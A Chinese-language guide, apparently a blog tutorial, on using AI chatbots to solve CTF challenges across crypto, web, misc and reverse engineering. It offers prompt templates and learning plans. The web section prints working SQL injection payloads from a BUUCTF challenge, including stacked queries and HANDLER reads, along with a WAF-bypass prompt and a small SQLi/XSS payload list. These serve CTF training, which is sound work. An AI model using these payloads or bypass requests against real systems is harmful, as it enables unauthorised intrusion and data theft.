模板2：古典密码类

我遇到一道Crypto题：
密文：【粘贴密文】
题目标题：【比如"栅栏密码"、"培根密码"】

我不太懂这个加密原理，请：
1. 简单解释这个加密算法
2. 给出解密步骤
3. 写一个暴力破解脚本（如果需要的话）

模板3：数学类密码（RSA等）

我遇到一道RSA题目，附件给了：
n = 【大整数】
e = 【公钥指数】
c = 【密文】

请帮我：
1. 判断这是什么类型的RSA题（小指数？共模攻击？）
2. 提供攻击思路
3. 写完整的解密脚本（包含必要的库安装命令）

AI解Crypto的常见套路

套路1：编码识别链

遇到密文 → 问AI识别 → 逐层解码
常见编码顺序：
Hex → Base64 → Base32 → URL编码 → ...

AI提问：

这个密文可能经过多层编码：
【密文】
请帮我写一个脚本，尝试常见编码的排列组合

套路2：古典密码暴力破解

遇到古典密码 → 让AI写暴力脚本 → 跑出所有可能性 → 人工筛选

AI提问：

请写一个脚本，对这段密文进行【凯撒/栅栏/维吉尼亚】暴力破解
并自动识别其中包含"flag"关键字的结果

套路3：在线工具 + AI辅助

使用在线工具解密 → 遇到问题 → 问AI怎么用工具

推荐在线工具：

CyberChef：https://gchq.github.io/CyberChef/
CTF工具箱：http://ctf.ssleye.com/

AI提问：

我在用CyberChef解密，但不知道该选什么操作
密文特征：【描述特征】
应该用哪个Recipe？

Crypto新手避坑指南

❌ 常见错误

错误1：直接问"这是什么加密"

❌ 太笼统，AI无法准确判断
✅ 提供完整密文、题目提示、字符特征

错误2：AI给的脚本直接复制就跑

❌ 可能缺依赖库、路径不对
✅ 先看懂脚本逻辑，确认库已安装

错误3：一个AI说不行就放弃

❌ AI也会出错或理解偏差
✅ 换个AI试试（Claude、千问、元宝轮流问）

✅ 高效技巧

技巧1：边做边学

做完题后问AI：
"刚才这道题用的【凯撒密码】是什么原理？
给我讲讲，下次遇到我能自己判断"

技巧2：建立自己的Crypto工具箱

把AI生成的好用脚本保存下来
建立一个GitHub仓库分类存放：
- crypto_tools/
 - caesar.py
 - base64_multi.py
 - rsa_attack.py

技巧3：利用AI学习密码学

不懂的概念立刻问AI：
"什么是RSA的公钥和私钥？"
"维吉尼亚密码和凯撒密码有什么区别？"

Crypto方向总结

新手上手难度： ⭐⭐ (5星最难)

AI帮助程度： ⭐⭐⭐⭐⭐ (AI几乎可以全包)

学习路径：

第1天：编码识别（Hex、Base64、Base32）
第2-3天：古典密码（凯撒、栅栏、维吉尼亚）
第4-5天：现代密码（RSA基础、AES）
第6-7天：数学攻击（费马分解、共模攻击）

AI使用建议：

✅ 编码识别 → AI判断 + 写脚本
✅ 古典密码 → AI写暴力破解
✅ 数学密码 → AI讲原理 + 生成攻击代码
✅ 不懂的概念 → 随时问AI

小贴士：

Crypto题目通常在30分钟内能解决（如果AI用得好）
遇到卡壳超过10分钟，立刻换个AI重新问
别纠结原理，先拿分再说，原理赛后慢慢学
记得在WriteUp里附上AI的对话记录（很多比赛要求）

Web方向：从基础漏洞到代码审计

为什么Web方向适合新手？

✅ 漏洞类型相对固定（SQL注入、XSS、文件上传等）
✅ 有大量在线靶场可以练习
✅ AI可以生成各种绕过Payload
✅ 浏览器就是你的调试工具
✅ 即使不懂原理，跟着AI的思路也能解题

Web方向的常见题型

入门级：
- SQL注入（最常见）
- XSS跨站脚本
- 命令执行
- 文件包含

进阶级：
- PHP反序列化
- SSRF服务端请求伪造
- XXE外部实体注入
- JWT伪造

高级：
- Python/Java代码审计
- 逻辑漏洞挖掘
- 复杂的过滤绕过

实战案例：SQL注入从入门到Bypass

场景：BUUCTF - [强网杯 2019]随便注

题目链接： https://buuoj.cn/challenges#[强网杯2019]随便注

Step 1：初步侦察

打开题目，看到一个简单的查询页面，随便输入个1试试

尝试SQL注入测试：

输入：1' 
返回：SQL语法错误（说明存在注入点！）

Step 2：向AI求助（初级提问）

新手提问模板：

我在做CTF的Web题，发现一个SQL注入点：

测试情况：
Burp抓包的Get请求和Response包直接粘贴

题目标题是"随便注"，请帮我：
1. 判断这是什么类型的注入（数字型/字符型）
2. 提供基础的注入Payload
3. 如何查询数据库名、表名、字段名

Step 3：AI给出基础攻击步骤

Gemini的回答：

这是典型的字符型SQL注入，基础攻击流程：

1. 判断列数（使用order by）
输入：1' order by 3--+
如果正常，说明至少有3列，继续增加数字直到报错

2. 确定回显位置（使用union select）
输入：1' union select 1,2,3--+
看哪个数字显示在页面上

3. 查询数据库信息
输入：1'; show databases; #

4. 查询表名
输入：1'; show tables; #

5. 查询列名
输入：1'; show columns from `1919810931114514`; #

6. 获取数据
输入：1'; HANDLER `1919810931114514` OPEN; HANDLER `1919810931114514` READ FIRST; HANDLER `1919810931114514` CLOSE; #

Step 4：遇到过滤怎么办？（进阶）

到绕WAF这一步的千问基本是在已读乱回了

实际操作时发现：

输入：1' union select 1,2,3--+
返回：return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

关键词被过滤了！这时候就是AI的主场了。

AI绕过提问模板

高级提问（提供完整过滤信息）：

我在做SQL注入题，但遇到了WAF拦截：

已知被过滤的关键词：
- select 被拦截
- union 被拦截 
- information_schema 被拦截
- 空格被过滤

但是：
- 单引号 ' 没被过滤
- 双写关键词（selselectect）不行
- 注释符 --+ 可以用

请帮我生成绕过Payload，目标是：
1. 绕过select过滤
2. 绕过union过滤
3. 绕过空格过滤
4. 最终读取flag

Web方向的AI万能提问模板

模板1：发现漏洞但不知道怎么利用

我在做CTF Web题，发现了【SQL注入/XSS/文件上传】漏洞：

漏洞位置：【具体URL或参数】
已测试结果：
- 【payload1】 → 【结果1】
- 【payload2】 → 【结果2】

已知限制：
- 【过滤规则1】
- 【过滤规则2】

目标：【获取flag/getshell/读取文件】

请帮我：
1. 分析可能的绕过方式
2. 提供完整的Exploit代码
3. 如果需要工具，告诉我怎么用

模板2：代码审计

我需要审计这段【PHP/Python/Java】代码，找出安全漏洞：

【粘贴代码】

代码功能：【简单描述】
题目提示：【如果有】

请帮我：
1. 列出所有可能的漏洞点
2. 按严重程度排序
3. 提供每个漏洞的利用方法
4. 如果能直接getshell，给出完整攻击链

模板3：遇到WAF不知道怎么绕

我在测试【SQL注入/XSS/命令执行】，但被WAF拦截：

测试情况：
- 【正常payload】 → 被拦截，提示：【错误信息】
- 【尝试的绕过1】 → 还是被拦
- 【尝试的绕过2】 → 依然拦截

已知信息：
- 使用的WAF：【如果知道】
- 后端语言：【PHP/Python/Java】
- 数据库类型：【MySQL/MSSQL/PostgreSQL】

请给我至少5种不同的绕过思路，并解释原理

模板4：Burp Suite使用问题

我在用Burp Suite做【重放攻击/爆破/抓包】：

操作步骤：
1. 【你的操作】
2. 【遇到的问题】

期望结果：【想实现什么】
实际结果：【发生了什么】

请告诉我：
1. 哪一步操作错了
2. 正确的操作流程
3. 有没有更简单的方法

Web方向实用工具链（AI推荐）

必备浏览器插件

✅ HackBar：快速测试SQL注入、XSS
✅ Wappalyzer：识别网站技术栈
✅ EditThisCookie：手动修改Cookie
✅ ModHeader：修改HTTP请求头
✅ Proxy SwitchyOmega：快速切换代理

AI辅助使用：

问AI："HackBar怎么用来测试SQL注入？给我个例子"
问AI："这个网站用的是什么框架？【粘贴Wappalyzer识别结果】有什么常见漏洞？"

抓包工具选择

工具	优势	劣势	AI配合
Burp Suite	功能最强大	重量级	让AI写Burp插件、解释抓包内容
mitmproxy	轻量级、可编程	命令行	让AI写mitm脚本自动化
Fiddler	界面友好	Windows为主	让AI教你用Fiddler规则

在线工具推荐

SQL注入：sqlmap（让AI教你怎么用）
XSS测试：https://xsshunter.com/（自动接收XSS回显）
编码转换：CyberChef（配合AI识别编码）
Payload生成：https://portswigger.net/web-security（Burp官方靶场）

Web方向新手避坑指南

❌ 常见错误

错误1：看到输入框就测试XSS

❌ 盲目测试，浪费时间
✅ 先观察页面行为，问AI："这种场景可能是什么漏洞？"

错误2：SQL注入只会用sqlmap

❌ 工具依赖，遇到WAF就傻眼
✅ 让AI教你手工注入原理，工具只是辅助

错误3：Burp抓包不看请求响应

❌ 只会点重放，不分析数据
✅ 把关键请求粘贴给AI："帮我分析这个请求哪里可能有问题"

错误4：代码审计只看表面

❌ 看一眼代码觉得没问题
✅ 完整粘贴给AI："深度审计这段代码，包括逻辑漏洞"

✅ 高效技巧

技巧1：构建自己的Payload库

 1# payloads.py - 让AI帮你生成
 2SQL_INJECTION = [
 3 "' or 1=1--+",
 4 "' union select 1,2,3--+",
 5 # ...让AI补充100个常见payload
 6]
 7
 8XSS_PAYLOADS = [
 9 "<script>alert(1)</script>",
10 "<img src=x onerror=alert(1)>",
11 # ...让AI补充各种绕过
12]

技巧2：让AI生成自动化脚本

问AI："帮我写一个脚本，自动测试这个URL的所有参数是否存在SQL注入"
问AI："写一个脚本，批量测试XSS payload并记录成功的"

技巧3：AI辅助学习漏洞原理

做完题立刻问AI：
"刚才这道题为什么【过滤不严格/逻辑有问题】？
从原理上讲讲，下次我怎么自己发现这种漏洞"

技巧4：交叉验证AI的答案

Claude说这样利用 → 问千问确认 → 再问元宝有没有其他思路
多个AI说法一致 → 可信度高
AI之间有分歧 → 都试试，可能有新发现

Web方向总结

新手上手难度： ⭐⭐⭐ (5星最难)

AI帮助程度： ⭐⭐⭐⭐⭐ (非常适合AI辅助)

学习路径：

第1-2天：SQL注入（从基础到绕过）
第3-4天：XSS（反射型、存储型、DOM型）
第5-6天：文件上传（各种绕过技巧）
第7天：PHP代码审计入门

AI使用建议：

✅ 漏洞发现 → AI分析原理
✅ 遇到过滤 → AI生成绕过payload
✅ 代码审计 → AI深度分析
✅ 工具使用 → AI当教练
✅ 学习原理 → AI当老师

提分技巧：

1. 前30分钟：用AI快速解决简单SQL注入/XSS
2. 30-60分钟：AI辅助代码审计，找复杂漏洞
3. 遇到卡点：立刻问AI，不要死磕超过10分钟
4. WriteUp：记录AI对话，很多比赛要求附上

小贴士：

Web题目通常占比最大，值得多花时间
熟练使用Burp Suite + AI = 效率翻倍
不要害怕代码审计，AI可以帮你找到90%的漏洞
记得在浏览器开发者工具里看Network和Console，经常有惊喜

Misc方向：万物皆可AI的杂项题库

为什么Misc方向适合AI辅助？

✅ 题型最杂：图片、音频、视频、流量包、压缩包...什么都有
✅ 工具最多：每种题型都有专门工具，AI能告诉你用什么
✅ 思路最重要：Misc考的是"想到"而不是"会做"
✅ AI最擅长：识别编码、推荐工具、生成脚本
✅ 新手友好：很多Misc题比Web/Pwn简单

Misc常见题型分类

文件分析类：
- 图片隐写（LSB、盲水印、EXIF）
- 音频隐写（频谱、波形、DTMF）
- 视频隐写（帧提取、时间戳）
- 压缩包（伪加密、爆破、CRC碰撞）

流量分析类：
- 数据包分析（Wireshark）
- 协议还原（HTTP/FTP/USB）
- 加密流量解密

编码转换类：
- 各种编码互转（Base系列、摩斯、栅栏）
- 二维码/条形码
- 进制转换

取证类：
- 内存取证（Volatility）
- 磁盘取证（文件恢复）
- 日志分析

其他：
- OSINT（开源情报）
- 区块链题
- IoT设备分析

万能提问模板：题型识别

模板1：不知道是什么题型

我在做CTF Misc题，下载了一个文件但不知道是什么：

文件信息：
- 文件名：【xxx.png / mystery.dat / flag.zip】
- 文件大小：【123KB】
- file命令结果：【如果跑了就粘贴】
- 题目标题：【如果有提示】
- 题目描述：【完整复制】

附件我用【binwalk/strings/exiftool】看过，发现：
【粘贴观察结果，或者说"没发现特别的"】

请帮我：
1. 判断这可能是什么类型的Misc题
2. 推荐应该用什么工具分析
3. 给出具体的操作步骤
4. 如果需要写脚本，请提供完整代码

模板2：知道题型但不会做

我确定这是一道【图片隐写/流量分析/压缩包】题：

已知信息：
- 【具体文件信息】
- 【已经尝试的方法】
- 【遇到的问题】

请提供：
1. 这类题的常见套路（至少3种）
2. 每种套路对应的工具和命令
3. 如果能写脚本自动化，请给我代码

图片隐写方向提问技巧

基础分析提问

我拿到一张图片（xxx.png），需要分析是否有隐写：

基础信息：
- 格式：PNG/JPG/BMP
- 大小：【文件大小】
- 分辨率：【宽x高】

已执行命令：
1. file xxx.png → 【结果】
2. strings xxx.png → 【有没有可疑字符串】
3. exiftool xxx.png → 【EXIF信息】

请告诉我：
1. 应该用什么工具进一步分析（StegSolve/zsteg/Stegseek等）
2. 每个工具的具体使用命令
3. PNG/JPG常见的隐写方式有哪些
4. 如果需要写脚本提取数据，请提供代码

LSB隐写提问

我怀疑这张图片用了LSB隐写：

图片信息：【格式/大小】
StegSolve打开后发现：
- Red/Green/Blue plane 0 看起来有噪点
- Data Extract显示【描述看到的内容】

请帮我：
1. 写一个Python脚本提取LSB隐藏的数据
2. 如果提取出来是乱码，可能还需要什么操作
3. 给我详细的使用步骤

盲水印提问

题目提示是"盲水印"，我有两张图：

- 原图：original.png
- 水印图：watermark.png

已知信息：
- 两张图尺寸相同
- 肉眼看不出差别

请提供：
1. 盲水印的常见算法（频域/空域）
2. 提取盲水印的工具和命令
3. 如果需要写脚本，请用Python+OpenCV实现

音频隐写方向提问技巧

频谱分析提问

我拿到一个音频文件（audio.wav）：

基础信息：
- 格式：WAV/MP3
- 时长：【X秒】
- 题目提示：【如果有】

我用Audacity打开后：
- 波形图看起来【正常/异常】
- 频谱图显示【描述看到的内容】

请告诉我：
1. 音频隐写的常见方式有哪些
2. 除了Audacity还能用什么工具
3. 如果频谱图里有图案/文字，如何提取
4. DTMF音调、摩斯电码等怎么识别和解码

DTMF解码提问

这个音频听起来像电话按键音（DTMF）：

音频文件：dtmf.wav
我听到的音调大概是：【描述或说听不出来】

请帮我：
1. 推荐DTMF解码工具（在线/离线都可以）
2. 给我Python脚本自动识别DTMF音调
3. 解码出来的数字可能是什么（ASCII/手机按键编码/其他）

压缩包方向提问技巧

伪加密提问

我有一个加密的ZIP文件：

文件名：flag.zip
现象：
- 解压时提示需要密码
- 但是用【7zip/WinRAR】可以看到文件列表

怀疑是伪加密，请告诉我：
1. 如何判断是否为伪加密（看哪个字节）
2. 如何修改文件去掉伪加密
3. 给我一个Python脚本自动修复伪加密
4. 如果不是伪加密，有什么其他可能（明文攻击/CRC碰撞）

压缩包密码爆破提问

一个真正加密的ZIP，需要爆破密码：

已知信息：
- 题目提示：【可能的密码规则，比如"6位纯数字"】
- 尝试过的密码：【123456/password等常见密码】

请提供：
1. 使用fcrackzip的完整命令
2. 如果是Windows，用什么工具（ARCHPR）
3. 自定义字典的生成方法
4. 如果题目给了密码提示，如何生成针对性字典

CRC32碰撞提问

ZIP里有个很小的文件（几个字节），但是加密了：

文件名：flag.txt
CRC32值：【从压缩包属性里看到的，比如 0x12345678】
文件大小：【比如 4 bytes】

我知道这是CRC32碰撞攻击，请：
1. 解释原理（为什么小文件可以碰撞）
2. 给我Python脚本爆破出文件内容
3. 如果文件稍大（比如10 bytes），还能碰撞吗？

流量分析方向提问技巧

Wireshark基础分析

我拿到一个流量包（traffic.pcapng）：

用Wireshark打开后发现：
- 总共【X】个数据包
- 主要协议：HTTP/FTP/TCP/USB/其他
- 【描述观察到的异常，比如"有很多HTTP POST请求"】

题目提示：【如果有】

请帮我：
1. 分析这个流量包可能藏了什么信息
2. 给我Wireshark过滤器语法，筛选关键数据
3. 如何导出流量包中的文件（HTTP文件/FTP传输）
4. 如果需要用tshark或Python脚本分析，请给我代码

HTTP流量分析

流量包里有很多HTTP请求，我想提取其中的数据：

观察到的现象：
- POST请求的数据看起来像Base64
- 某些响应包含可疑字符串
- Cookie/User-Agent字段有异常

请告诉我：
1. Wireshark如何追踪HTTP流（Follow HTTP Stream）
2. 如何批量导出所有HTTP对象
3. 写一个Python脚本解析pcap，提取所有POST数据
4. 如果数据经过编码，如何自动识别和解码

USB键盘流量分析

这个流量包是USB协议，我怀疑是键盘流量：

已知信息：
- 协议类型：USB
- Leftover Capture Data字段有数据
- 题目提示：【如果有】

请提供：
1. USB键盘流量的数据格式（哪个字节代表按键）
2. Wireshark过滤器，只显示键盘数据
3. Python脚本，将USB数据还原成按键记录
4. 键盘映射表（HID to ASCII）

编码转换方向提问技巧

多层编码识别

我遇到一串看不懂的字符串：

【粘贴字符串】

特征：
- 长度：【X字符】
- 字符集：【只有数字/包含字母/有特殊符号】
- 可能的编码：【如果能猜出来就说，不确定就说"不知道"】

请帮我：
1. 识别这可能是什么编码（Base64/Hex/Binary/摩斯/其他）
2. 如果是多层编码，给我解码顺序
3. 提供一个Python脚本，自动尝试常见编码组合
4. 如果有部分解码出来但还是乱码，可能还需要什么处理

自动化编码识别脚本请求

我经常遇到各种编码转换的题，请帮我写一个万能脚本：

需求：
1. 输入一个字符串
2. 自动尝试常见编码（Base64/Base32/Hex/Binary/URL/HTML实体等）
3. 递归解码（如果解码结果还是编码格式，继续解）
4. 输出所有可能的解码结果
5. 如果某个结果包含"flag"关键字，高亮显示

请用Python实现，代码要详细注释

取证方向提问技巧

内存取证提问

我拿到一个内存镜像文件（memory.raw）：

文件大小：【X GB】
题目提示：【如果有，比如"找到管理员密码"】

我应该：
1. 用什么工具分析（Volatility 2/3）
2. 先执行哪些命令确定操作系统版本和Profile
3. 常见的内存取证命令有哪些（进程/网络连接/密码/文件）
4. 如何从内存中提取文件
5. 给我一个完整的Volatility分析流程

磁盘取证/文件恢复

我有一个磁盘镜像或者部分损坏的文件系统：

文件信息：
- 格式：【.img / .vmdk / .raw】
- 大小：【X MB/GB】
- 题目提示：【比如"文件被删除了"】

请告诉我：
1. 用什么工具挂载/分析（Autopsy/FTK/Foremost）
2. 如何恢复已删除的文件
3. 如果是Linux/Windows镜像，如何提取特定文件
4. Foremost/Scalpel这些工具的使用方法

OSINT（开源情报）方向提问技巧

图片溯源提问

题目给了一张照片，需要找出拍摄地点/时间：

图片信息：
- EXIF数据：【有/无GPS信息】
- 可见内容：【建筑/路牌/文字/其他特征】
- 题目提示：【如果有】

请告诉我：
1. 如何通过EXIF提取GPS坐标（工具/命令）
2. 如果没有GPS，如何通过图片特征搜索地点
3. 推荐的图片反向搜索工具（Google Images/TinEye/Yandex）
4. 如何根据建筑/路牌等特征缩小范围

社交媒体情报收集

题目要求根据某个线索找到特定信息：

已知信息：
- 用户名/昵称：【xxx】
- 平台：【Twitter/GitHub/Instagram】
- 需要找的信息：【邮箱/真实姓名/位置】

请提供：
1. 该平台的信息收集技巧
2. 有什么自动化工具（Sherlock/社工库）
3. 如何找到用户的其他账号（同名搜索）
4. 注意事项（不要违反平台规则）

Misc方向工具速查（让AI推荐使用）

提问模板：工具推荐

我需要处理【图片/音频/流量包/内存镜像】：

具体需求：【比如"提取图片LSB隐藏的数据"】
操作系统：【Windows/Linux/Mac】
有没有GUI要求：【需要图形界面/命令行都行】

请推荐：
1. 最适合的工具（名称+简介）
2. 工具的安装方法（命令/下载链接）
3. 针对我的需求，具体的使用命令
4. 如果这个工具搞不定，还有什么备选方案

常用工具分类（快速询问）

请列出CTF Misc方向的常用工具，按以下分类：

1. 图片隐写：
2. 音频分析：
3. 流量分析：
4. 压缩包处理：
5. 内存取证：
6. 文件恢复：
7. 编码转换：
8. 十六进制编辑器：

每个工具简要说明功能和典型使用场景

Misc快速解题策略

第一步：文件类型识别（1分钟）

问AI的标准流程：

我拿到文件后，按顺序执行了：
1. file xxx → 【结果】
2. binwalk xxx → 【结果】
3. strings xxx | head -50 → 【结果】
4. exiftool xxx → 【结果】

基于这些信息，请分析：
- 这是什么类型的题目
- 下一步应该做什么
- 推荐使用的工具

第二步：套路尝试（5-10分钟）

针对不同文件类型的快速提问：

图片类：

这是一张【PNG/JPG】图片，请列出5种常见的隐写方式，
以及对应的检测/提取命令，我要快速试一遍

音频类：

这是音频文件，请给我一个快速检查清单：
- Audacity频谱图看什么
- 是否为DTMF/摩斯电码的判断方法
- 其他音频隐写可能性
快速给我结论，不要长篇大论

压缩包类：

ZIP文件需要密码，快速判断：
1. 是否伪加密（给我检查命令）
2. 如果不是，密码位数大概多少（题目有提示吗）
3. 爆破命令（fcrackzip/ARCHPR）
4. 如果爆破太慢，有没有CRC碰撞可能
给我最快的解题路径

第三步：卡住了怎么办（超过10分钟没进展）

换个AI重新问：

我在做Misc题，已经尝试了：
【列出所有尝试过的方法】

但是都没找到flag，可能的原因：
1. 我的方法不对？
2. 提取出来的数据需要进一步处理？
3. 题目有多个步骤，我只做了第一步？

请帮我重新分析，给我新的思路

Misc方向的AI协作技巧

技巧1：让AI生成自动化工具箱

请帮我写一个CTF Misc工具集脚本（Python）：

功能需求：
1. 自动识别文件类型
2. 对不同类型执行对应的基础分析
 - 图片 → binwalk + strings + exiftool
 - 音频 → 提取频谱图
 - 压缩包 → 检查伪加密
 - 流量包 → 统计协议分布
3. 输出分析报告和建议的下一步操作
4. 代码要模块化，方便我后续添加新功能

请给我完整可运行的代码

技巧2：让AI当你的工具手册

我在用【StegSolve/Audacity/Wireshark/Volatility】：

当前界面：【描述你看到的界面/选项】
我想实现：【具体目标】
但是不知道：【哪个菜单/哪个命令】

请一步步告诉我操作流程，就像你在我旁边指导一样

技巧3：多轮对话深入挖掘

第一轮：
"我用StegSolve的Data Extract提取了数据，
得到一堆二进制【粘贴前100个字节】"

第二轮（基于AI回答）：
"你说这可能是PNG文件头，那我怎么把这些二进制
还原成文件？给我Python脚本"

第三轮：
"还原出来的PNG打开显示损坏，会不会是字节序问题？
或者需要修复文件头？"

持续追问直到解决问题

技巧4：建立个人Misc题库

每做完一道Misc题，问AI：

"我刚做了一道【图片隐写LSB】题目，
请帮我总结：
1. 这类题的特征（如何快速识别）
2. 通用解题步骤（形成SOP）
3. 常用工具和命令（做成备忘录）
4. 容易踩的坑（避坑指南）

用Markdown格式输出，我要保存到笔记里"

Misc方向避坑指南

❌ 新手常犯的错误

错误1：看到文件就用StegSolve

❌ 盲目使用，大部分时候看不出东西
✅ 先用基础命令判断类型，再针对性选工具
✅ 问AI："这个文件应该先用什么工具分析？"

错误2：Wireshark打开流量包就懵逼

❌ 看着几千个数据包不知所措
✅ 先问AI："这个流量包应该看什么协议？用什么过滤器？"
✅ 让AI给你过滤器语法，一步步筛选

错误3：工具报错就放弃

❌ "命令执行失败，不会做了"
✅ 把报错信息完整复制给AI："遇到这个错误怎么解决？"
✅ AI会告诉你缺什么依赖、命令哪里写错了

错误4：提取出数据就以为是flag

❌ 拿到一串字符就提交，结果不对
✅ 问AI："这串数据看起来像【Base64/Hex】，还需要继续解码吗？"
✅ Misc题经常有多层处理，要问清楚

✅ 高效技巧

技巧1：构建命令模板库

 1# 让AI帮你生成常用命令，保存成脚本
 2
 3# 图片分析模板
 4analyze_image() {
 5 file "$1"
 6 binwalk "$1"
 7 strings "$1" | grep -i flag
 8 exiftool "$1"
 9 # ...让AI补充更多
10}
11
12# 流量包分析模板
13analyze_pcap() {
14 tshark -r "$1" -q -z io,phs # 协议统计
15 tshark -r "$1" -Y "http" -T fields -e http.request.uri
16 # ...让AI补充
17}

技巧2：截图给AI看

遇到图形化工具（StegSolve/Audacity）的问题：
1. 截图当前界面
2. 上传给Claude（支持图片）
3. 问："我现在在这个界面，想提取隐藏数据，应该点哪里？"

AI能直接看着图指导你

技巧3：让AI生成解题报告模板

我刚做完一道Misc题，请帮我生成WriteUp模板：

题目信息：
- 名称：【xxx】
- 类型：【图片隐写/流量分析】
- 难度：【简单/中等/困难】

解题过程：
【我描述步骤，AI帮我规范化】

请输出成Markdown，包含：
1. 题目分析
2. 解题步骤（带命令/代码）
3. 知识点总结
4. 使用的AI对话记录

Misc方向总结

新手上手难度： ⭐⭐⭐⭐ (题型太杂，但单个题不难)

AI帮助程度： ⭐⭐⭐⭐⭐ (几乎每个环节都能帮上)

学习路径：

第1天：文件类型识别 + 基础工具使用
第2天：图片隐写（LSB/EXIF/盲水印）
第3天：流量分析（Wireshark基础）
第4天：压缩包技巧（伪加密/爆破/CRC）
第5天：编码转换大全
第6-7天：内存取证/磁盘取证入门

AI使用建议：

✅ 文件识别 → AI判断类型
✅ 工具选择 → AI推荐最合适的
✅ 命令不会 → AI给语法和示例
✅ 数据处理 → AI写脚本
✅ 卡住了 → AI提供新思路
✅ 工具报错 → AI排查问题

提分技巧：

1. 前10分钟：快速识别所有Misc题的类型（问AI）
2. 优先做工具型的题（图片/压缩包），这些AI能直接给命令
3. 流量分析题留给队里会Wireshark的人，或者让AI生成过滤器
4. 遇到没见过的题型，立刻问AI，不要自己瞎试浪费时间
5. 建立自己的工具箱脚本，AI生成一次，以后反复用

小贴士：

Misc题往往思路比技术重要，AI帮你开脑洞
很多Misc题是"想到就会做"，想不到就卡死
善用AI的"见多识广"，它比你见过更多题型
binwalk、strings、file 这三个命令先跑，结果喂给AI分析
Misc经常需要多个工具组合，让AI帮你串联起来
Misc大多数题目要根据不同类型的文件用不同类型的软件，如果是在断网环境下没安装软件就直接跪了，如果没有安装环境或者来不及安装的，可以在比赛后期其他题目无望的情况下，使用python暴力的用二进制处理数据。

Reverse方向：让AI成为你的反编译助手

为什么Reverse是CTF最难的方向之一？

❌ 需要看懂汇编/反编译代码（门槛高）
❌ 需要理解程序逻辑（脑力消耗大）
❌ 需要识别加密/混淆算法（经验要求高）
❌ 调试过程繁琐（时间成本高）
✅ 但是！AI可以帮你降低70%的难度

Reverse题目的特点与策略

难度评估：⭐⭐⭐⭐⭐ (5星最难)
耗时评估：单题30分钟 - 2小时
AI帮助度：⭐⭐⭐⭐⭐ (Claude的逆向能力极强)

比赛策略：
✅ 前期：先做Crypto/Web/Misc拿基础分
✅ 中期：如果Reverse题目简单（签到级），可以试试
✅ 后期：冲分阶段，用AI辅助攻坚
⚠️ 心态：解出来是惊喜，解不出来当学习，不要死磕

工具	优势	缺点	AI配合度
IDA Pro	反编译最强	商业软件	⭐⭐⭐⭐ 配合AI看F5代码
Ghidra	免费、支持Python脚本	反编译稍弱	⭐⭐⭐⭐⭐ AI写脚本提取关键信息

万能提问模板：初次接触二进制

模板1：不知道从哪开始（Claude专用）

我在做CTF Reverse题，拿到了一个二进制文件：

【方法1：直接上传文件给Claude】
Claude可以接收二进制文件，直接分析！

【方法2：提供基础信息】
文件名：【xxx.exe / crackme / flag_checker】
file命令结果：【ELF 64-bit / PE32 executable】
题目提示：【如果有】

我是Reverse新手，请帮我：
1. 判断这个程序是做什么的（逆向/爆破/算法还原）
2. 用什么工具分析（IDA/Ghidra/动态调试）
3. 给我详细的分析思路和步骤
4. 如果需要写脚本，请提供完整代码

【Claude的杀手锏：直接上传二进制文件】
- Claude内置Linux环境，可以直接运行程序
- 可以用objdump、strings、ltrace等工具分析
- 可以反编译后给你解释每一行代码

模板2：反编译代码看不懂

我用【IDA/Ghidra】反编译了一个函数，但看不懂：

【粘贴反编译的C代码，或者汇编代码】

程序功能：【如果能猜出来就说，比如"好像是验证密码"】
题目提示：【如果有】

请帮我：
1. 逐行解释这段代码在做什么
2. 识别其中的关键逻辑（比较、加密、解密）
3. 判断是否有已知算法（Base64/AES/RC4/TEA等）
4. 如果是自定义算法，帮我还原逻辑
5. 给我逆向求解的脚本（Python）

模板3：算法识别（高级）

反编译代码里有一段加密/哈希算法，我不认识：

【粘贴关键代码段】

特征：
- 有大量的异或操作
- 有魔数【比如 0x9E3779B9 / 0x5A827999】
- 有移位操作（<<、>>）
- 循环次数：【如果明显】

请帮我：
1. 识别这可能是什么算法（TEA/XTEA/RC4/MD5/SHA/自定义）
2. 如果是已知算法，给我标准实现对照
3. 如果是魔改的，告诉我哪里被改了
4. 提供解密脚本（如果是可逆加密）

Reverse方向的AI协作技巧

技巧1：Claude的逆向神技（强烈推荐）

直接上传二进制文件：

步骤：
1. 在Claude界面点击上传按钮（📎）
2. 选择你的二进制文件（.exe/.elf/.so/.dll）
3. 发送消息："这是一个CTF Reverse题目，帮我分析"

Claude会自动：
- 识别文件类型和架构
- 提取字符串和关键信息
- 使用内置Linux环境运行分析工具
- 反编译关键函数
- 给你详细的分析报告

示例提问：
"【上传文件 crackme】
这是一个密码验证程序，帮我：
1. 找出验证逻辑
2. 分析加密算法
3. 给我正确的密码或keygen脚本"

Claude内置工具链：

Claude可以直接使用：
- file, strings, objdump, readelf
- ltrace, strace（动态追踪）
- Python脚本分析
- 甚至可以编译和运行代码验证你的逆向结果

你不需要自己装环境，直接让Claude干活！

技巧2：Ghidra + AI 脚本自动化

场景：需要批量提取/分析程序数据

我在用Ghidra分析程序，需要：
- 提取所有字符串常量
- 找到所有比较操作的地址
- 识别所有函数调用关系
- 提取加密用的魔数/常量表

请给我一个Ghidra Python脚本实现上述功能：
1. 脚本能在Ghidra的Script Manager中直接运行
2. 输出结果保存到文件
3. 代码要有详细注释

【AI会生成类似这样的脚本】：

AI生成的Ghidra脚本示例：

 1# Ghidra Python脚本：提取所有字符串和比较操作
 2# 在Ghidra中：Window -> Script Manager -> 新建脚本粘贴运行
 3
 4from ghidra.program.model.block import BasicBlockModel
 5from ghidra.program.model.listing import CodeUnit
 6
 7# 1. 提取所有字符串
 8print("=== 字符串常量 ===")
 9strings = currentProgram.getListing().getDefinedData(True)
10for data in strings:
11 if data.hasStringValue():
12 addr = data.getAddress()
13 value = data.getValue()
14 print(f"{addr}: {value}")
15
16# 2. 查找所有CMP指令
17print("\n=== 比较指令 ===")
18listing = currentProgram.getListing()
19instructions = listing.getInstructions(True)
20for instr in instructions:
21 mnemonic = instr.getMnemonicString()
22 if "CMP" in mnemonic or "TEST" in mnemonic:
23 addr = instr.getAddress()
24 print(f"{addr}: {instr}")
25
26# 3. 查找可疑常量（可能是加密魔数）
27print("\n=== 可疑魔数 ===")
28known_magic = [0x9E3779B9, 0x5A827999, 0x67452301] # TEA, SHA-1等的魔数
29for instr in listing.getInstructions(True):
30 for i in range(instr.getNumOperands()):
31 op = instr.getOpObjects(i)
32 for obj in op:
33 if hasattr(obj, 'getValue'):
34 val = obj.getValue()
35 if val in known_magic:
36 print(f"{instr.getAddress()}: 发现魔数 {hex(val)}")

技巧3：分步骤逆向（多轮对话）

第一轮：宏观分析

